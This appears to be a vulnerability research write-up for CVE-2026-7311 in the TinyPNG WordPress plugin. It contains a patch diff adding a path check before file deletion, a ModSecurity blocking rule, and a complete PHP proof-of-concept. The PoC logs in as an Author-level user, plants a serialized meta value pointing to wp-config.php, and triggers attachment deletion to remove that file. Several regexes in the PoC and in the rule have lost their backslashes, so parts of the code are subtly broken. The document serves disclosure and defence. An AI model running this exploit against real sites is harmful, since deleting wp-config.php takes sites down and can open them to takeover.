CVE-2026-7311: TinyPNG <= 3.6.13 Authenticated (Author+) Arbitrary File Deletion via 'convert.path' in 'tiny_compress_images' Post Meta PoC, Patch Analysis & Rule

--- a/tiny-compress-images/src/class-tiny-helpers.php
+++ b/tiny-compress-images/src/class-tiny-helpers.php
@@ -171,4 +171,28 @@

 		return $wp_filesystem;
 	}
+
+	/**
+	* Polyfill for `str_starts_with()` function added in PHP 8.0.
+	*
+	* Performs a case-sensitive check indicating if
+	* the haystack begins with needle.
+	*
+	* @since 5.9.0
+	*
+	* @param string $haystack The string to search in.
+	* @param string $needle   The substring to search for in the `$haystack`.
+	* @return bool True if `$haystack` starts with `$needle`, otherwise false.
+	*/
+	public static function str_starts_with( $haystack, $needle ) {
+		if ( function_exists( 'str_starts_with' ) ) {
+			return str_starts_with( $haystack, $needle );
+		}
+
+		if ( '' === $needle ) {
+			return true;
+		}
+
+		return 0 === strpos( $haystack, $needle );
+	}
 }
--- a/tiny-compress-images/src/class-tiny-image-size.php
+++ b/tiny-compress-images/src/class-tiny-image-size.php
@@ -240,9 +240,27 @@
 		return $this->_duplicate_of_size;
 	}

+	/**
+	 * Deletes the converted image file for this image size.
+	 *
+	 * @return void
+	 */
 	public function delete_converted_image_size() {
-		if ( $this->converted_image_exists() ) {
-			unlink( $this->meta['convert']['path'] );
+		if ( ! $this->converted_image_exists() ) {
+			return;
+		}
+		$upload_dir        = wp_upload_dir();
+		$convert_real_path = realpath( $this->meta['convert']['path'] );
+		$real_basedir      = realpath( $upload_dir['basedir'] );
+
+		if (
+			$convert_real_path &&
+			Tiny_Helpers::str_starts_with(
+				$convert_real_path,
+				trailingslashit( $real_basedir )
+			)
+		) {
+			unlink( $convert_real_path );
 		}
 	}

--- a/tiny-compress-images/src/class-tiny-plugin.php
+++ b/tiny-compress-images/src/class-tiny-plugin.php
@@ -18,7 +18,7 @@
 * Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */
 class Tiny_Plugin extends Tiny_WP_Base {
-	const VERSION         = '3.6.8';
+	const VERSION         = '3.6.14';
 	const MEDIA_COLUMN    = self::NAME;
 	const DATETIME_FORMAT = 'Y-m-d G:i:s';

@@ -861,6 +861,14 @@
 		$tiny_image->delete_converted_image();
 	}

+	/**
+	 * Runs on uninstall
+	 *
+	 * @return void
+	 */
+	public static function uninstall() {
+		Tiny_Apache_Rewrite::uninstall_rules();
+	}

 	public function mark_image_as_compressed() {
 		$response = $this->validate_ajax_attachment_request();
--- a/tiny-compress-images/tiny-compress-images.php
+++ b/tiny-compress-images/tiny-compress-images.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: TinyPNG - JPEG, PNG & WebP image compression
  * Description: Speed up your website. Optimize your JPEG, PNG, and WebP images automatically with TinyPNG.
- * Version: 3.6.13
+ * Version: 3.6.14
  * Author: TinyPNG
  * Author URI: https://tinypng.com
  * Text Domain: tiny-compress-images
@@ -38,3 +38,8 @@
 }

 $tiny_plugin = new Tiny_Plugin();
+
+register_uninstall_hook(
+	__FILE__,
+	array( 'Tiny_Plugin', 'uninstall' )
+);
--- a/tiny-compress-images/uninstall.php
+++ b/tiny-compress-images/uninstall.php
@@ -1,14 +0,0 @@
-<?php
-/**
- * Uninstaller for plugin.
- *
- * @package tiny-compress-images
- */
-
-if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
-	die;
-}
-
-require_once dirname( __FILE__ ) . '/src/class-tiny-apache-rewrite.php';
-
-Tiny_Apache_Rewrite::uninstall_rules();

# Atomic Edge WAF Rule - CVE-2026-7311
# Blocks exploitation attempts against TinyPNG arbitrary file deletion via convert.path injection.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20267311,phase:2,deny,status:403,chain,msg:'CVE-2026-7311 - TinyPNG Arbitrary File Deletion via convert.path',severity:'CRITICAL',tag:'CVE-2026-7311',tag:'wordpress',tag:'tinypng'"
    SecRule ARGS_POST:action "@streq delete-post" "chain"
        SecRule ARGS_POST:id "@rx ^d+$" "chain"
            SecRule ARGS_POST:_ajax_nonce "@rx ^[a-f0-9]{10}$" "chain"
                SecRule ARGS_POST:meta_key "@streq tiny_compress_images" "chain"
                    SecRule ARGS_POST:meta_value "@rx convert.*path" "t:none"

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7311 - TinyPNG <= 3.6.13 - Authenticated (Author+) Arbitrary File Deletion via 'convert.path' in 'tiny_compress_images' Post Meta

// Configuration
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$username = 'author';                // WordPress username with Author role
$password = 'author_password';       // WordPress password for the user
$file_to_delete = '/var/www/html/wp-config.php'; // Path to the file to delete (e.g., wp-config.php)

// Step 1: Authenticate and get cookies
$cookie_file = tempnam(sys_get_temp_dir(), 'CVE_2026_7311');
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Step 2: Get a nonce for media deletion and find an existing attachment owned by the attacker
$admin_url = $target_url . '/wp-admin/upload.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$html = curl_exec($ch);
curl_close($ch);

// Extract a nonce for media operations (e.g., from a delete link)
preg_match('/ajax_fy_delete_action_nonce=([a-f0-9]+)/', $html, $matches);
if (!isset($matches[1])) {
    die('Failed to extract nonce. Ensure the user has at least one uploaded attachment.');
}
$nonce = $matches[1];

// Step 3: Modify the 'tiny_compress_images' post meta of an existing attachment
// First, find an attachment ID owned by the user
preg_match('/post-(d+)/', $html, $id_matches);
if (!isset($id_matches[1])) {
    // Fallback: assume the first attachment ID is 1, but typically you would use a known attachment
    die('Could not determine attachment ID. Please provide a specific attachment ID owned by the author.');
}
$attachment_id = $id_matches[1];

// Update the post meta via AJAX (wp_ajax_update_meta or direct POST, but we can also use REST API)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$meta_data = array(
    'action' => 'update_meta',
    'meta_type' => 'post',
    'meta_id' => 0,
    'object_id' => $attachment_id,
    'meta_key' => 'tiny_compress_images',
    'meta_value' => serialize(array('convert' => array('path' => $file_to_delete))),
    '_ajax_nonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($meta_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Metadata update response: " . $response . "n";

// Step 4: Trigger attachment deletion to invoke the vulnerable path
$delete_data = array(
    'action' => 'delete-post',
    'id' => $attachment_id,
    '_ajax_nonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Delete request HTTP code: " . $http_code . "n";
echo "Delete response: " . $response . "n";

// Clean up
unlink($cookie_file);

echo "nPoC completed. Check if $file_to_delete was deleted on the server.n";